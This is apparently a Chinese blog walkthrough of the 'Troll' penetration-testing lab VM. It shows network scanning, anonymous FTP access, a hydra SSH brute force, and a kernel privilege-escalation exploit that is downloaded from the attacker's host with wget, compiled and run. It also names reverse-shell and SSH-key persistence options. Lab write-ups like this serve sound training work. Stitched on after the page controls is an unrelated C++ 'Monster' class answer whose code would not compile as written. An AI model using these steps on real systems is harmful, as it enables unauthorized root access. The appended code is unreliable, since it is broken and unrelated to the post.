【Troll靶场渗透】


一、主机发现

nmap -sP 192.168.78.0/24
arp-scan 192.168.78.0/24

靶机IP:192.168.78.179

Kali IP :192.168.78.128

二、端口及服务探测

nmap -sV -p- -A 192.168.78.179

发现开放了21 22 80等端口

21端口ftp存在lol.pcap流量文件,以及FTP带有匿名登录名:Anonymous FTP login allowed

80端口 http存在robots.txt和secret目录文件

三、FTP登录

登录ftp获取到流量文件

账号密码:Anonymous/Anonymous

利用wireshark进行分析,数据包不多直接追踪tcp流

显示了一个文件secret_stuff.txt,继续查看流2

获取到可疑字符串sup3rs3cr3tdirlol

ftp服务探测到这里基本结束

四、HTTP信息获取

访问80端口页面

只有一张图片,根据上面通过ftp获取到的信息,我们访问一下secret_stuff.txt和sup3rs3cr3tdirlol

访问secret_stuff.txt显示

访问sup3rs3cr3tdirlol

发现存在一个文件,我们下载下来分析

通过binwalk,file,strings,editor等工具查找是否有价值的信息,最终找到

Find address 0x0856BF to proceed这样的提示

访问一下

发现存放着一些目录和文件,通过访问大致能判断分别存放的是账户名和密码

但是密码没有明显写出,后面发现文件名就是密码

那么通过hydra工具进行爆破

which_one_lol.txt文件内容:
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
Pass.txt文件内容:
Good_job_:)

五、SSH破解

hydra -L user.txt -p Pass.txt 192.168.78.179 ssh

ssh登录
ssh overflow@192.168.78.179
python -c 'import pty;pty.spawn("/bin/bash")'

六、提权

查看系统版本

uname -a

searchsploit Linux ubuntu 3.13.0

locate linux/local/37292.c
cat /usr/share/exploitdb/exploits/linux/local/37292.c

然后一样的将文件cp到当前目录,开启http服务,再到靶机下载运行

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/
python3 -m http.server 8000
python -c 'import pty;pty.spawn("/bin/bash")'
cd /tmp
wget http://192.168.78.128:8000/37292.c
gcc 37292.c -o hp
./hp
python -c 'import pty;pty.spawn("/bin/bash")'

完成!

七、拓展思路

在打靶时肯定会发现ssh一会儿就会断开,这里是因为有定时任务在清理ssh进程,每5分钟就被踢一次!

find / -name cronlog 2>/dev/null    ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null   ---查看文件在哪儿

find / -writable 2>/dev/null   ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v   ---枚举找到/lib/log/cleaner.py

知道了计划任务和py脚本可写入,以及py的位置后,方法有很多种:

1)反弹shell

2)创建root可执行程序,获得root权限

3)写入ssh-rsa,ssh登录root用户

具体操作可自行搜索相关文章。


  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,根据你的要求,我来为你实现怪物类Monster。 首先,我们可以定义一个Monster类,包含hitpoint、damage、defense和attack等成员变量和函数。其中,attack函数可以用虚函数来定义,以便在派生类中实现不同的攻击方式。 ```c++ class Monster { public: Monster(int hp, int dmg, int def) : hitpoint(hp), damage(dmg), defense(def) {} virtual void attack(Monster& enemy) {} void fight(Monster& enemy) { while (hitpoint > 0 && enemy.hitpoint > 0) { attack(enemy); if (enemy.hitpoint <= 0) break; enemy.attack(*this); } } private: int hitpoint; int damage; int defense; }; ``` 在这里,我们定义了一个Monster类,它有三个私有成员变量:hitpoint、damage和defense,表示怪物的生命值、攻击力和防御力。另外,我们定义了一个不带virtual修饰的成员函数fight,用来描述与另一个怪物进行战斗的过程。在fight函数中,我们通过调用attack函数来模拟战斗,直到其中一个怪物的生命值降为0。 接下来,我们可以派生出一些具体的怪物类,并实现它们的攻击方式,例如: ```c++ class Goblin : public Monster { public: Goblin() : Monster(50, 10, 5) {} void attack(Monster& enemy) { int damage = this->damage - enemy.defense; if (damage > 0) { enemy.hitpoint -= damage; } } }; class Troll : public Monster { public: Troll() : Monster(100, 20, 10) {} void attack(Monster& enemy) { int damage = this->damage - enemy.defense; if (damage > 0) { enemy.hitpoint -= damage; this->hitpoint += damage / 2; // Troll can heal itself } } }; ``` 在这里,我们派生出了Goblin和Troll两个具体的怪物类,并实现了它们各自的攻击方式。Goblin的攻击方式是直接减去敌人的防御力,并造成相应的伤害;而Troll的攻击方式除了减去敌人的防御力外,还会使自己恢复一部分生命值。 最后,我们可以使用这些怪物类来进行战斗,例如: ```c++ int main() { Goblin goblin; Troll troll; goblin.fight(troll); return 0; } ``` 在这个例子中,我们创建了一个Goblin对象和一个Troll对象,并让它们进行战斗。由于我们在Monster类中定义了通用的战斗方式,因此我们可以直接调用fight函数进行战斗,而不用考虑具体的攻击方式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一纸-荒芜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值